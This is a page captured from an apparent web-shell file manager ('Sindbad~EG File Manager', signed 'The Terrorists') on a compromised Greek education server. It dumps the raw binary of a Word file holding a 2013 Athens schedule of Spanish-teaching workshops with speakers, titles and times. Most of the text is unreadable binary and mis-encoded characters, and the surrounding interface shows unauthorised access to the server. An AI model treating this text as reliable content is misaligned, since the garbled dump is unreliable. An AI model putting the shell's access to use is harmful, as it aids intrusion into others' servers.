Sindbad~EG File Manager

Current Path : /var/www/aspe.edu.gr/files/
Upload File :
Current File : /var/www/aspe.edu.gr/files/Horario_Atenas2013(2).doc

��ࡱ�>��	mo����l�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������'`��!bjbj���;X����*
��������BBBB����JJJ8�4���|,&������+�+�+�+�+�+�+$�-h
0J!,��"!,BB��W6,�'�'�'�B8����+�'�+�'�'z��'��;D��1�J� ��'�(tL,0|,�'T0u&fT0�'T0��'��'!,!,�'|,����J���J���BBBBBB����HorarioS�badoHorarioDomingo8:45 � 9:00Inauguraci�n de las Jornadas9:00 � 10:00Francisco Javier Fern�ndez Terraza
(Editorial EnClave ELE)
Dos besos o un apret�n de manos: el tratamiento del componente sociocultural en E/LE.9:00 � 10:30Marta Higueras
(Centro de Formaci�n de Profesores, Instituto Cervantes de Madrid): Las competencias clave del profesorado de E/LE.10:00 -11:00Juan Urb�n Parra y Silvia L�pez L�pez (Instituto Cervantes de Or�n)
�D�nde estoy como profesor? Reflexi�n en torno a las competencias clave del profesorado de E/LE.Amalia Kapsala
Instituto de Pol�tica Educacional (Ministerio de Educaci�n)
El uso de las herramientas web 2.0 en la ense�anza del ELE.Ana Roca Gadea
(Instituto Cervantes de Atenas)
La biblioteca electr�nica del Instituto Cervantes.10:30 � 11:30Sergio Troiti�o
(Editorial Difusi�n)
Crear, dise�ar y editar materiales E/LE: un di�logo permanente con los docentes.11:00 � 11:15Descanso11:30 � 11:45Descanso11:15 � 12:15M� Jos� Mart�nez
(Instituto Cervantes de Atenas)
Creando contenidos de input y output con herramientas digitales en la clase E/LE.Pedro J. Molina Mu�oz y Polina Chatzi
(Centro de Lenguas de la Universidad de Chipre y Ministerio de Educaci�n y Cultura de Chipre)
Creaci�n de actividades con recursos audiovisuales.Irini Mavrou
(Universidad Antonio de Nebrija)
El papel de la memoria operativa en la ense�anza de E/LE. Estrategias para la intervenci�n pedag�gica.
11:45 � 12:15Presentaci�n: Gente Hoy. Sergio Troiti�o
(Editorial Difusi�n)12:15 � 13:15Ana Roca Gadea
(Instituto Cervantes de Atenas)
La biblioteca electr�nica del Instituto Cervantes.Elena Schiza, Emmanouel-Marinos Constantinou y Stavroula Vasilopoulou
(Kapsokefalos)
El juego dram�tico en la ense�anza de E/LE para ni�os.12:15 � 13:15Pilar Garc�a Garc�a
(Editorial SM)
El espa�ol m�s f�cil con ELE ACTUAL.13:15 � 14:00Clausura de las Jornadas
Buffet13:15 � 14:15M� Jos� Mart�nez
(Instituto Cervantes de Atenas)
Creando contenidos de input y output con herramientas digitales en la clase E/LE.Nikos Pratsinis.
El uso del diccionario -y de algunas herramientas afines- en la clase del espa�ol como lengua extranjera.14:15 � 15:30Descanso15:30 -16:30Alicia de la Antonia
(Taller Edinumen)
Procedimientos y materiales para la preparaci�n de clases de espa�ol de nivel superior16:30 � 17:00Despoina Matsaridou
(Academia de Espa�ol �Despoina Matsaridou�)
Una clase con �clase�.Karin Chirinos Bravo
(Universit� degli studi di Catania)
Aprendizaje cooperativo a trav�s de actividades de mediaci�n ling��stica. Una experiencia en la clase de E/LE universitaria.16:30 � 17:30Pedro J. Molina Mu�oz y Polina Chatzi
(Centro de Lenguas de la Universidad de Chipre y Ministerio de Educaci�n y Cultura de Chipre)
Creaci�n de actividades con recursos audiovisuales.17:00 � 17:15Descanso17:15 � 17:45Chrysoulla Konstantinou
(Universidad Tecnol�gica de Chipre)
�Es posible aprender a trav�s de Facebook?Lydia Rodr�guez Mata 
(Correcciones de Estilo, Espa�a)
�A cuento de qu�? Excusas l�dicas para escribir en el aula ELE17:30 � 18:30Amalia Kapsala
Instituto de Pol�tica Educacional (Ministerio de Educaci�n)
El uso de las herramientas web 2.0 en la ense�anza del ELE.17:45 � 18:15Victoria Leng
(Dimotik� Sjol�o Pirea)
La literatura espa�ola en la clase de E/LE.In�s Mart�n
(Editoriall Klett) 
�C�mo quieres que te quiera si no quiero que me quieras? Amor y Subjuntivo.18:15 � 18:30Descanso18:30 � 19:30Fernando de Bona Romero
(Editorial Habla con E�e S.L.)
Ense�ar a escuchar: c�mo mejorar la destreza auditiva para preparar el DELE











Sal�n de ActosConferencias plenarias � Sal�n de ActosTalleres � Sal�n de ActosTalleres multimedia � Aula multimedia (Aforo limitado a 12 personas).Experiencias docentes � Salas 31, 36 y 37Biblioteca o sala grande



 +HIVx�������H	v	�	*
t
u
�
�
!���ʼ������ugWgWguWgWg�I�h�hL�CJOJQJ\�h�h�x�6�CJOJQJ\�h�h�x�CJOJQJ\�h�x�CJOJQJ\�h�h�Fs6�CJOJQJ\�h�hxI6�CJOJQJ\�h�hxICJOJQJ\�h�h�CJOJQJ\�h�h�FsCJOJQJ\�h�jbCJOJQJ\�h�hAJ�CJOJQJ\�h�h�#�CJOJQJ\�h�h�6CJOJQJ\�����$d��$�&`#$/��Ifa$b$gd�jb$
�;cd��$�&`#$/��Ifa$b$gd�jb*7 ��� #�kd$$If�F��\���L,G1�X�M�k(���Q'	�
t�
6`����(�����������������0�������Y������������������������4�4�
la�e4p�(����������������yt�e ,IVy��������!$����d��$�&`#$/��If^�`���a$b$gd�x�$d��$�&`#$/��Ifa$b$gd�jb��#�kd:$$If�F��\���L,G1�X�M�k(���Q'	���
t�
6`����(�������������v�<�0�������Y������������������������4�4�
la�e4p�(�������������v�<yt�e��	x	�	�	*
9
u
�
�
�
"2G����������������������Ff�$d��$�&`#$/��Ifa$b$gd�x�$d��$Ifa$gd�x�$d��$�&`#$/��Ifa$b$gd�jb!"12FG�����WX}~�

=
>
�
����շ��}m]�R�B�}7mh�eCJOJQJ\�h�h�x�6�CJOJQJ\�h�x�CJOJQJ\�h�x�h�x�6�CJOJQJ\�h�h�e6�CJOJQJ\�h�h�eCJOJQJ\�h�h�x�CJOJQJ\�h�hAJ�CJOJQJ\�h�h�6�CJOJQJ\�h�hxI6�CJOJQJ\�h�h�6CJOJQJ\�h�h�n�CJOJQJ\�h�hxICJOJQJ\�h�h�FsCJOJQJ\���#�kd.$$If�F��\���L,G1�X�M�k(���Q'	��
t�
6`����(�����v�<���������0�������Y������������������������4�4�
la�e4p�(�����v�<��������yt�e�����X~�

>
�
�
�
�
�
�
�����������������$d��$Ifa$gd�qCFf	$d��$�&`#$/��Ifa$b$gd�x�$d��$Ifa$gd�x�$d��$Ifa$gd�e$d��$�&`#$/��Ifa$b$gd�jb�
�
�
�
�
�
5g��LNtu{|}��
 ��������������⾳�◉yi�Py�Bh�hL�CJOJQJ\�0jh�G6�CJOJQJU\�mHnHtH
uh�hWL6�CJOJQJ\�h�h�6�CJOJQJ\�h�h�CJOJQJ\�h�hWLCJOJQJ\�h�h3z�CJOJQJ\�h3z�CJOJQJ\�h�x�CJOJQJ\�h�h�qCCJOJQJ\�h�qCCJOJQJ\�h�h�x�CJOJQJ\�h�h�x�6�CJOJQJ\��
�
�
�
�
�
5h���%JKLMN\u|�����������������������Ff�$$�&`#$/��Ifa$b$gd�x�Ff�$d��$�&`#$/��Ifa$b$gd�jb|}�����������$d��$�&`#$/��Ifa$b$gd�jbFf�����A''$d��$�&`#$/��Ifa$b$gd�jb�kd�$$If�F��F���&L,�M�E�&	���
t�
6`������������_Iz�0�������Y��L,������������������4�4�
la�e4p���������_Izyt�e�����._EEEE$d��$�&`#$/��Ifa$b$gd�jb�kd$$If�F��0���L,�M�k(	�
t�
6`�������������0�������Y��L,��������������4�4�
la�e4p���������yt�e�������./|}������IJWX�'+tu�������񶫛�yjyj�yjy���_�QFh�eCJOJQJ\�h�h�eCJOJQJ\�h�x�CJOJQJ\�h�j9CJOJQJ\�mHsH#h�h�j9CJOJQJ\�mHsHh�j9h�j96�CJOJQJ\�h�h�j96�CJOJQJ\�h�j9CJOJQJ\�h�h�j9CJOJQJ\�h�h�6�CJOJQJ\�h�h�CJOJQJ\�h�h�CJOJQJ^Jh�hAJ�CJOJQJ\�./=Q}�_EEE4$d��$Ifa$gd�j9$d��$�&`#$/��Ifa$b$gd�jb�kd�$$If�F��0���L,�M�k(	��
t�
6`���������v�<�0�������Y��L,��������������4�4�
la�e4p������v�<yt�e���JX~�()*������������Ff7$d��$�&`#$/��Ifa$b$gd�j9$d��$Ifa$gd�j9$d��$�&`#$/��Ifa$b$gd�jb*+"�kd,$$If�F4��\����L,�M���7�J
	�
t�
6`����(�����������������0�������Y��L,����������������������4�4�
la�e4p�(����������������yt�e+9Qu���$3o�����,xyz���������������������$d��$�&`#$/��Ifa$b$gd�j9Ff�$d��$Ifa$gd�j9$d��$�&`#$/��Ifa$b$gd�jbu������#o����+,dewxy{����������������������Ǭ�����{�����pbTph�jbh�jbCJOJQJ\�h�h�jbCJOJQJ\�h�jbCJOJQJ\�heK�h�eCJOJQJ\�h�e6�CJOJQJheK�h�e6�CJOJQJh�eCJOJQJheK�h�eCJOJQJh�j9h�eCJOJQJ\�h�eCJOJQJ\�h�h�eCJOJQJ\�h�j9h�e6�CJOJQJ\�h�h�e6�CJOJQJ\� z{���������$d��$�&`#$/��Ifa$b$gd�jbFfN"��"�kdC$$$If�F4��\����L,�M���7�J
	�
t�
6`����(�����������������0�������Y��L,����������������������4�4�
la�e4p�(����������������ytr7�����&'�����d��$�&`#$/��Ifb$gd�jb$d��$�&`#$/��Ifa$b$gd�jb���%&()*+-.01347s����� !�����������������������������h�Gh�eh�eB*ph�h�eh�x�B*ph�h�I�h�eh�x�h�Qjh�QUh�n�hjq�OJQJ\�h�n�hV'OJQJ\�h�h�jbCJOJQJ\�h�jbCJOJQJ\�h�jbh�jbCJOJQJ\�'()*,-/_RE;9;	d��gd�x�$d��a$gd�n�$d��a$gd�jb�kd�%$$If�F��0���L,�M�k(	��
t�
6`���������v�<�0�������Y��L,��������������4�4�
la�e4p������v�<yt�e/0235678GH��������R�kdl&$$If�F��0���5&��$������������	��
t��
�����0�������6�����������������������4�4�
la�p�������yt�e	$Ifgd�G$If	d��gd�x�	HIqrs���^���kdA'$$If�F��0���5&��$������������	��
t��
�v�<�0�������6�����������������������4�4�
la�p��v�<��yt�e	$Ifgd�G$If����mg^	$Ifgd�G$If�kd($$If�F��0���5&��$������������	�
t��
�����0�������6�����������������������4�4�
la�p�������yt�e���mg^	$Ifgd�G$If�kd�($$If�F��0���5&��$������������	��
t��
����0�������6�����������������������4�4�
la�p������yt�emg^	$Ifgd�G$If�kd�)$$If�F��0���5&��$������������	��
t��
���T�0�������6�����������������������4�4�
la�p����T��yt�e !mkkk^$d��a$gd�n��kd�*$$If�F��0���5&��$������������	��
t��
�_Iz�0�������6�����������������������4�4�
la�p��_Iz��ytr7�9&P1�h0:p�e�] ��A!��"��#��$��%������8$$If��!vh5�M5�k(5��5�Q'#vM#vk(#v�#vQ':V�F	�
t�
6`����(�����������������0�������Y���,�5�M5�k(5��5�Q'e4p�(����������������yt�e8$$If��!vh5�M5�k(5��5�Q'#vM#vk(#v�#vQ':V�F	���
t�
6`����(�������������v�<�0�������Y���,�5�M5�k(5��5�Q'e4p�(�������������v�<yt�e�$$If��!vh5�M5�k(5��5��5�J
5�J
#vM#vk(#v�#v�#vJ
:V�F�:	����
t�
6`����<�����v�<������������_Iz�0�������Y���,�5�M5�k(5��5��5�J
e4p�<�����v�<������������_Izyt�e0kdt$$If�F��:ֈ���L,G1>NK�X�M�k(�����J
�J
	����
t�
6`����<�����v�<������������_Iz�0�������Y��������������������������������4�4�
la�e4p�<�����v�<������������_Izyt�e8$$If��!vh5�M5�k(5��5�Q'#vM#vk(#v�#vQ':V�F	��
t�
6`����(�����v�<���������0�������Y���,�5�M5�k(5��5�Q'e4p�(�����v�<��������yt�e�$$If��!vh5�M5�k(5��5��5�J
5�J
#vM#vk(#v�#v�#vJ
:V�F4��	���
t�
6`����<��������������������_Iz�0�������Y���+�+�+�+�,�5�M5�k(5��5��5�J
e4p�<��������������������_Izyt�e3kdh$$If�F4���ֈ���L,G1>NK�X�M�k(�����J
�J
	���
t�
6`����<��������������������_Iz�0�������Y��������������������������������4�4�
la�e4p�<��������������������_Izyt�e�$$If��!vh5�M5�k(5��5��5�J
5�J
#vM#vk(#v�#v�#vJ
:V�F4��	����
t�
6`����<�����v�<������������_Iz�0�������Y���+�+�+�+�,�5�M5�k(5��5��5�J
e4p�<�����v�<������������_Izyt�e3kd<$$If�F4���ֈ���L,G1>NK�X�M�k(�����J
�J
	����
t�
6`����<�����v�<������������_Iz�0�������Y��������������������������������4�4�
la�e4p�<�����v�<������������_Izyt�ev$$If��!vh5�M5�E5�&5��5�Q'#vM#vE#v&#v�#vQ':V�F4	�
�@�
t�
6`����2����������������v�<�0�������Y���+�+�+�,�5�M5�E5�&5��5�Q'e4p�2����������������v�<yt�e�kd$$If�F4��r���&L,G1�X�M�E�&���Q'	�
�@�
t�
6`����2����������������v�<�0�������Y����������������������������4�4�
la�e4p�2����������������v�<yt�ez$$If��!vh5�M5�E5�&5��5�Q'#vM#vE#v&#v�#vQ':V�F4��	�
�@�
t�
6`����2��������������������0�������Y���+�+�+�,�5�M5�E5�&5��5�Q'e4p�2�������������������yt�e�kd}$$If�F4����r���&L,G1�X�M�E�&���Q'	�
�@�
t�
6`����2��������������������0�������Y����������������������������4�4�
la�e4p�2�������������������yt�e$$If��!vh5�M5�E5�&#vM#vE#v&:V�F	���
t�
6`������������_Iz�0�������Y�L,��,�5�M5�E5�&e4p���������_Izyt�e�$$If��!vh5�M5�k(#vM#vk(:V�F	�
t�
6`�������������0�������Y�L,��,�5�M5�k(e4p���������yt�e�$$If��!vh5�M5�k(#vM#vk(:V�F	��
t�
6`���������v�<�0�������Y�L,��,�5�M5�k(e4p������v�<yt�eq$$If��!vh5�M5��
5�e5�75�J
#vM#v�
#ve#v7#vJ
:V�F4	�
���
t�
6`����2�������T���T��������0�������Y�L,��+�+�,�5�M5��
5�e5�75�J
e4p�2�������T���T�������yt�e�kd�$$If�F4��r���f�L,�M��
�e�7�J
	�
���
t�
6`����2�������T���T��������0�������Y��L,��������������������������4�4�
la�e4p�2�������T���T�������yt�eE$$If��!vh5�M5��5�75�J
#vM#v�#v7#vJ
:V�F4	�
t�
6`����(�����������������0�������Y�L,��+�+�,�5�M5��5�75�J
e4p�(����������������yt�eq$$If��!vh5�M5��
5�e5�75�J
#vM#v�
#ve#v7#vJ
:V�F4	�
���
t�
6`����2�������T���T��������0�������Y�L,��+�+�,�5�M5��
5�e5�75�J
e4p�2�������T���T�������yt�e�kds$$If�F4��r���f�L,�M��
�e�7�J
	�
���
t�
6`����2�������T���T��������0�������Y��L,��������������������������4�4�
la�e4p�2�������T���T�������yt�eq$$If��!vh5�M5��
5�e5�75�J
#vM#v�
#ve#v7#vJ
:V�F4	�
���
t�
6`����2�������T���T�������T�0�������Y�L,��+�+�,�5�M5��
5�e5�75�J
e4p�2�������T���T�������Tyt�e�kd� $$If�F4��r���f�L,�M��
�e�7�J
	�
���
t�
6`����2�������T���T�������T�0�������Y��L,��������������������������4�4�
la�e4p�2�������T���T�������Tyt�eE$$If��!vh5�M5��5�75�J
#vM#v�#v7#vJ
:V�F4	�
t�
6`����(�����������������0�������Y�L,��+�+�,�5�M5��5�75�J
e4p�(����������������ytr7��$$If��!vh5�M5�k(#vM#vk(:V�F	��
t�
6`���������v�<�0�������Y�L,��,�5�M5�k(e4p������v�<yt�e�$$If��!vh5�5��$#v#v�$:V�F	��
t��
�����0�������6�,�5�5��$/�
��������p�������yt�e�$$If��!vh5�5��$#v#v�$:V�F	��
t��
�v�<�0�������6�,�5�5��$/�
��������p��v�<��yt�e�$$If��!vh5�5��$#v#v�$:V�F	�
t��
�����0�������6�,�5�5��$/�
��������p�������yt�e�$$If��!vh5�5��$#v#v�$:V�F	��
t��
����0�������6�,�5�5��$/�
��������p������yt�e�$$If��!vh5�5��$#v#v�$:V�F	��
t��
���T�0�������6�,�5�5��$/�
��������p����T��yt�e�$$If��!vh5�5��$#v#v�$:V�F	��
t��
�_Iz�0�������6�,�5�5��$/�
��������p��_Iz��ytr7������������666666666vvvvvvvvv666666>666666666666666666666666666�6666666666�666666666666hH66666666666666666666666666666666666666666666666666666666666666666�6J@�J������d��CJ_HaJmH
sH
tH	NA@�N������������� �������������\i@�\
0��������� ��������4�
l4�a�0k�0
0����� �����z���z�#��
������ ������7:V�0������d��8@8
�x�0��������

�9r B��B�x�0 Char Char1CJaJmH
sH
tH	: ":
�x�0	���������

�9r @��1@�x�0
 Char CharCJaJmH
sH
tH	�!����������������!X���� ,IVy����x��*9u���"2G��������X~�>�����������5h���%JKLMN\u|}�����������.	/	=	Q	}	�	�	�	J
X
~
�
()*+9Qu���$3o�����

,
x
y
z
{
�
�
�
�
�
�
�
�
&'()*-03678GHIqrs������"�0��� �0��� �0��� �0��� �0��� �0��� �0��� �0��� �0����0����0��� �0��� �0��� �0����0��� �0��� �0����0��� �0����0����0��� �0����0����0��� �0��� �0��� �0����0����0��� �0��� �0��� �0��� �0��� �0��� �0��� �0����0����0��� �0����0����0��� �0����0����0����0��� �0��� �0��� �0����0��� � 0��� � 0��� � 0��� � 0��� �0��� �0��� �0����0����0��� �0����0����0��� �0��� �0����0����0��� �0��� � 0��� � 0��� � 0��� �0��� �0����0��� �0��� �0��� �0����0����0��� �0����0��� �0��� �0��� �0��� �0��� �0��� �0����0����0��� �0��� �0��� �0����0����0��� �0����0����0��� �0��� �0����0����0��� �0��� �0��� �0��� � 0��� � 0��� �0��� �0��� �0����0����0��� �0����0����0��� �0��� �0����0����0��� �0��� �0��� �0����0����0��� �0����0����0��� � 0��� � 0��� �0��� �0��� �0��� � 0��� � 0��� �0��� �0��� �0����0����0����0��� �0��� �0���0��ȑ001ȑ001ȑ001ȑ001ȑ00H
1�0��� �0��� �0��� �0��� �0��� �0��� �0��� �0��� �0��� �0��� �0��� �0��� �0��� �0��� �0��� �0��� �0��� �0��� �0��ȑ00�1	!�
�u�! $ �����
|��.�*+z��'/H��!
!"#%&'()*+ �8�@������������(	�
��t�
�
3����S"�?��?��
��B
�S����	?�!�u=�t�������vx��tu����)13FG������WX}=>����������gh����JNtu{}��
 ����������.	/	Q	R	|	}	�	�	�	�	�	J
W
p
~

'+QRtv������#$������



+
-
d
e
w
{
�
�
�
�
�
�
�
�
�
�
%**,,--/023567��" +,HIUVxy������wx����)*89tu������!"12FG��������������WX}~��=>��������45gh������$%IN[\tu{}������
 ������������-	/	<	=	P	Q	|	}	�	�	�	�	�	�	I
J
W
X
}
~
�
�
'+89PQtu������#$23no��������



+
,
w
{
�
�
�
�
�
�
�
�
�
�
%**,,--/0235678FIps����"V��x�*9"����Ntu���/	=	}	�	
X
9$��e
z
{
�
�
�
**,,--/0235678Is��"%�$�Q�<V'[m.�6�j9�">�qC�GxIWL�jT*<X�jb�eZdgm�Fs#Ttr7��y�AJ��n���/�jq��#���eK�L�����x���I���3z� ,IV���x�*�"�������X���������h�JKLMN\|}�������.	/	=	�	J
X
()*+9�$���
x
y
z
{
�
�
�
�
�
�
'(78GHIqrs������"��������"����������������@���y!P@��Unknown������������G���:�Ax�	�Times New Roman5��Symbol3&���:�Cx�	�Arial7����Georgia7&����@�Calibri"1����l+�u+�	6��6�!�������4##J�q���HX	�$P�����������������������#�2��HorarioPedrodell����Oh��+'��0X�������	��
 
,8@HP�HorarioPedroNormaldell6Microsoft Office Word@v�A@�<{�1�@��1�6�����՜.��+,��0�hp��������
���Toshiba#'Horario������	

 !"#$%&'()*+,����./0123456789:;<=>?@AB����DEFGHIJKLMNOPQRSTUVWXYZ[����]^_`abc����efghijk��������n������������������������������������������������������������������������Root Entry��������	�F��Q��1�p�Data
������������-j+1Table����CT0WordDocument����;XSummaryInformation(������������\DocumentSummaryInformation8��������dCompObj������������t������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
����	�F"������ �� Microsoft Office Word
MSWordDocWord.Document.8�9�q

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists